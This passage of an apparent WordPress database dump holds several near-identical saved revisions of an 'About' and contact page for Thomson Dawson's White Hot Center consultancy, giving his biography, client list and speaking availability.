millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Over the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is currently the Founder, Voice and Curator of the White Hot Center.com, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education and training.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on branding, enterprise strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:\r\n<span style="color: #e47906;">Thomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</span></strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2012-03-01 20:56:05', '2012-03-02 03:56:05', '', 143, 'http://www.whitehotcenter.com/2012/03/143-revision-43/', 0, 'revision', '', 0),
(1996, 2, '2012-03-01 21:01:36', '2012-03-02 04:01:36', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n\r\n&nbsp;\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income. </strong></span></h2>\r\n<span style="color: #000000;"><strong>About Thomson Dawson</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Starting his own business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan, Thomson </strong><strong>has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>He was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Over the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Leveraging his significant business experience in the creative professions, Thomson founded the White Hot Center.com, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on branding, enterprise strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:\r\n<span style="color: #e47906;">Thomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</span></strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2012-03-01 21:01:36', '2012-03-02 04:01:36', '', 143, 'http://www.whitehotcenter.com/2012/03/143-revision-44/', 0, 'revision', '', 0),
(2000, 2, '2012-03-01 21:23:01', '2012-03-02 04:23:01', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income. </strong></span></h2>\r\n<strong><span style="color: #000000;">About Thomson Dawson</span></strong>\r\n<strong>Business Development Consultant to Creative Entrepreneurs\r\nand Solo Professionals</strong>\r\n\r\n<span style="color: #808080;"><strong>Starting his own business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan, Thomson </strong><strong>has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>He was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Over the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Leveraging his significant business experience in the creative professions, Thomson founded the White Hot Center.com, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on branding, enterprise strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:\r\n<span style="color: #e47906;">Thomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</span></strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2012-03-01 21:23:01', '2012-03-02 04:23:01', '', 143, 'http://www.whitehotcenter.com/2012/03/143-revision-48/', 0, 'revision', '', 0),
(1997, 2, '2012-03-01 21:16:10', '2012-03-02 04:16:10', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n\r\n&nbsp;\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income. </strong></span></h2>\r\n<strong><span style="color: #000000;">About Thomson Dawson</span></strong>\r\n<strong>Business Development Consultant to Creative Entrepreneurs &amp;Solo Professionals</strong>\r\n\r\n<span style="color: #808080;"><strong>Starting his own business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan, Thomson </strong><strong>has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>He was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Over the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Leveraging his significant business experience in the creative professions, Thomson founded the White Hot Center.com, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on branding, enterprise strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:\r\n<span style="color: #e47906;">Thomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</span></strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2012-03-01 21:16:10', '2012-03-02 04:16:10', '', 143, 'http://www.whitehotcenter.com/2012/03/143-revision-45/', 0, 'revision', '', 0),
(1998, 2, '2012-03-01 21:17:00', '2012-03-02 04:17:00', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n\r\n&nbsp;\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income. </strong></span></h2>\r\n<strong><span style="color: #000000;">About Thomson Dawson</span></strong>\r\n<strong>Business Development Consultant to Creative Entrepreneurs\r\nand Solo Professionals</strong>\r\n\r\n<span style="color: #808080;"><strong>Starting his own business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan, Thomson </strong><strong>has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>He was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Over the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Leveraging his significant business experience in the creative professions, Thomson founded the White Hot Center.com, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on branding, enterprise strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:\r\n<span style="color: #e47906;">Thomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</span></strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2012-03-01 21:17:00', '2012-03-02 04:17:00', '', 143, 'http://www.whitehotcenter.com/2012/03/143-revision-46/', 0, 'revision', '', 0);
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(1999, 2, '2012-03-01 21:19:25', '2012-03-02 04:19:25', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n\r\n&nbsp;\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income. </strong></span></h2>\r\n<strong><span style="color: #000000;">About Thomson Dawson</span></strong>\r\n<strong>Business Development Consultant to Creative Entrepreneurs\r\nand Solo Professionals</strong>\r\n\r\n<span style="color: #808080;"><strong>Starting his own business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan, Thomson </strong><strong>has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>He was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Over the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Leveraging his significant business experience in the creative professions, Thomson founded the White Hot Center.com, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on branding, enterprise strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:\r\n<span style="color: #e47906;">Thomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</span></strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2012-03-01 21:19:25', '2012-03-02 04:19:25', '', 143, 'http://www.whitehotcenter.com/2012/03/143-revision-47/', 0, 'revision', '', 0),
(2001, 2, '2012-03-01 21:30:49', '2012-03-02 04:30:49', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</strong></span></h2>\r\n<h2>How can I help you get to the next level?</h2>\r\n<strong><span style="color: #000000;">About Thomson Dawson</span></strong>\r\n<strong>Business Development Consultant to Creative Entrepreneurs\r\nand Solo Professionals</strong>\r\n\r\n<span style="color: #808080;"><strong>Starting his own business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan, Thomson </strong><strong>has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>He was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Over the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Leveraging his significant business experience in the creative professions, Thomson founded the White Hot Center.com, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on branding, enterprise strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:\r\n<span style="color: #e47906;">Thomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</span></strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2012-03-01 21:30:49', '2012-03-02 04:30:49', '', 143, 'http://www.whitehotcenter.com/2012/03/143-revision-49/', 0, 'revision', '', 0),
(2002, 2, '2012-03-01 21:31:38', '2012-03-02 04:31:38', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</strong></span>\r\n\r\nHow can I help you get to the next level?</h2>\r\n<strong><span style="color: #000000;">About Thomson Dawson</span></strong>\r\n<strong>Business Development Consultant to Creative Entrepreneurs\r\nand Solo Professionals</strong>\r\n\r\n<span style="color: #808080;"><strong>Starting his own business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan, Thomson </strong><strong>has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>He was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Over the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Leveraging his significant business experience in the creative professions, Thomson founded the White Hot Center.com, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on branding, enterprise strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:\r\n<span style="color: #e47906;">Thomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</span></strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2012-03-01 21:31:38', '2012-03-02 04:31:38', '', 143, 'http://www.whitehotcenter.com/2012/03/143-revision-50/', 0, 'revision', '', 0),
(2003, 2, '2012-03-01 21:32:25', '2012-03-02 04:32:25', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire, guide and create IDEAS to help creative entreprenuers and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</strong></span></h2>\r\n<h2>How can I help you get to the next level?</h2>\r\n<strong><span style="color: #000000;">About Thomson Dawson</span></strong>\r\n<strong>Business Development Consultant to Creative Entrepreneurs\r\nand Solo Professionals</strong>\r\n\r\n<span style="color: #808080;"><strong>Starting his own business as a solo freelancer after graduating from Kendall School of Design in Grand Rapids, Michigan, Thomson </strong><strong>has been a successful creative entrepreneur in the marketing, communications and graphic design business for 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>He was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency. Dawson+Company Creative Group was internationally recognized for its award winning work in corporate identity development, brand development, naming, corporate communications, marketing communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he had built and established his creative business into one of the most respected and highly esteemed creative firms in the Mid-West. Over the course of his business career he has sold in millions of dollars in creative services and billings.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. His clients have included Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Over the years, his work, and that of his firm, has been featured in all the leading trade publications, journals and award annuals for graphic design excellence</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Leveraging his significant business experience in the creative professions, Thomson founded the White Hot Center.com, an online resource of insight, inspiration, guidance, business development training and 